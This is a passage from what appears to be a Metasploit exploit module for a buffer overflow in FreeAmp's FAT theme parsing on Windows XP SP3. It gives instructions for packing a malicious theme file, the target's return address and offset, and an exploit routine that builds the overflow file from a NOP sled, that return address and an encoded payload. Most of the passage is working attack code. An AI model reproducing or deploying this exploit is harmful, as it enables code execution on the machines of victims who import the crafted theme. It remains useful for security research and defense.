The overflow occurs when an overly long string is parsed in the FAT file. This module creates a txt file that has to be used in the creation of a FAT file. The FAT file then has to be imported as a theme. To create the FAT file you need to first decompress the basic theme template, MakeTheme -d freeamp.fat. Next create the new FAT file MakeTheme crash.fat theme.xml title.txt *.bmp. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ivan Garcia Ferreira', # Initial Discovery 'James Fitts' # Metasploit Module ], 'Version' => '$Revision: $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/17441' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 EN', { 'Ret' => 0x1220161a, # push esp, ret 04 in download.ui 'Offset' => 268 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 23 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'title.txt']), ], self.class) end def exploit txt = make_nops(target['Offset']) txt << [target.ret].pack('V') txt << make_nops(50) txt << payload.encoded txt << make_nops(50) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(txt) end end |
